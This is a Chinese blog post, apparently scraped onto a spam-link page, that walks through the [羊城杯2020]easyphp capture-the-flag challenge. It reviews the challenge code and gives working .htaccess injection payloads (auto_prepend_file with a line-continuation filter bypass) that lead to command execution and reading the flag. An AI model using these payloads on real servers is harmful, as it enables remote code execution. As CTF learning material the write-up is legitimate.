当前位置: 首页 > news >正文

网约车平台app网站建设摄影网站在线建设

网约车平台app网站建设,摄影网站在线建设,洛阳伟创科技,备案用网站建设方案书[羊城杯2020]easyphp 文章目录 [羊城杯2020]easyphp掌握知识解题思路关键paylaod 掌握知识 ​ .htaccess文件的利用,把自己指定当做 php文件处理;preg_match正则匹配的了解,stristr函数的绕过;file_put_contents文件写入操作的了…

[羊城杯2020]easyphp

文章目录

      • [羊城杯2020]easyphp
      • 掌握知识
      • 解题思路
      • 关键paylaod

在这里插入图片描述

掌握知识

.htaccess文件的利用,把自己指定当做 php文件处理;preg_match正则匹配的了解,stristr函数的绕过;file_put_contents文件写入操作的了解。.htaccess文件格式的了解,注释符后跟一行内容。代码审计,unlink清除文件。文件写入第三个参数的换行符绕过。

解题思路

  1. 大家题目链接,发现是一道代码审计的题目,简单读了一下代码,发现会在写入文件之前会删除目录下的除了index.php的文件。写入文件的文件名和文件内容也是可控的,只不过存在过滤
 <?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world");
?> 
  1. stristr函数对文件内容进行过滤,该函数绕过还是简单的,只需要添加一些特殊字符就可以了,和字符串弱类型比较相似。对于文件名的正则匹配,有点没读懂怎么个条件,到底是允许字母还是不允许,测试了一下该代码环境,运行之后明白该正则条件输入.[a-z]是可以绕过该正则的,返回false

image-20231024201703882

image-20231024201709067

  1. 文件名和文件内容的绕过都分析结束后,就可以来想如何进行利用了,既然会删除除了index.php文件,直接覆盖index.php文件是不是就可以了,尝试写入index.php文件,但是再次访问并没有什么内容。尝试写入其他的php文件中,发现只是将文件内容回显了罢了

image-20231024202634430

image-20231024202704415

  1. 到这里就有点明白了,靶机目录环境并不会解析php文件,所以才会原封不动返回出来内容,测试发现是阿帕奇服务器,就想到上传文件利用.htaccess配置文件执行jpg文件中的php代码,但是再进行第二次文件写入时会把之前的文件删除掉,所以不能上传两次来利用,index.php文件也不能写入。
  2. 去搜索了一下.htaccess文件的利用,发现在一个文章中写了.htaccess文件也可以在不存在php文件下进行解析执行php代码,利用的配置文件中的php_value auto_append_file参数[CTF].htaccess的使用技巧总结_.htaccess ctf_Y4tacker的博客-CSDN博客

image-20231024203323461

image-20231024203328217

  1. 文章还贴心给出了file被过滤的情况,正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world,由于\n所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess解析格式,不能够正常解析,所以需要在上面距离的代码后面先闭合php代码,再加上\\n\进行转义即可,即为?>\,闭合结果为?>\\nHello, world即可将后面的内容输出为一行

  2. 所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的php代码,将结果输出出来了,#后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a进行代替,#%23代替,传参测试paylaod,运行两次成功执行代码

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess

image-20231024205134688

  1. paylaod成功运行得到结果,接下来就只需要修改命令执行函数里面的参数,找到flag文件读取拿下flag即可了,根据查看发现flag在根目录下,简单的RCEbypass绕过flag过滤即可拿下flag

image-20231024205312380

image-20231024205315329

关键paylaod

php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess
http://www.yayakq.cn/news/153388/

相关文章:

  • 宁波专业网站营销企业推广网络营销
  • 网站具体流程重庆集团网站建设
  • 中英文网站怎么做潍坊营销网站
  • 在网上做软件挣钱的网站网站建设公司合同模板
  • 购物网站如何建设北京黑马计算机培训机构
  • 哈尔滨建设网站官网网站的虚拟人怎么做的
  • 做网站一般用什么框架在建设部网站呢李可以看出需要什么时候考试
  • 深圳市网站建设公司设计网站建设费用明细湖南岚鸿
  • 网站服务器证书有问题asp.net网站本机访问慢
  • 快速做网站公司报价郑州最好的精神病医院
  • 上海专业做网站建设公司有哪些做农产品的网站
  • 南京网站建设与维护网站维护的要求
  • 上海企业网站seo电子商务网站用户行为分析及服务推荐
  • 济南哪家做网站移动端seo关键词优化
  • 营销网站与企业网站的区别深圳公司代理
  • 哈尔滨大型网站制作开发办办网官网
  • 美容网站制作定西模板型网站建设
  • 长沙建站宝网络科技有限公司手工活接单app
  • 杭州家具网站建设方案做网站的英文编辑
  • 河南省建设厅注册中心网站首页如何开公司
  • 网站页头是什么提供手机网站制作
  • 个人网站主页免费咨询平台
  • 网站建设运作流程网站怎么做评论
  • 网站制作公司 深圳python免费下载安装
  • 广州网站建设知名 乐云践新怎么写app程序
  • 网站维护具体怎么做呀网站建立教学
  • 乔拓云在线设计网站融资网站建设重点
  • 一般做个网站需要多少钱营销团队公司
  • 域名可以绑定网站吗深圳宝安区住房和建设局网站官网
  • 优酷网站建设视频教程集wordpress代码修改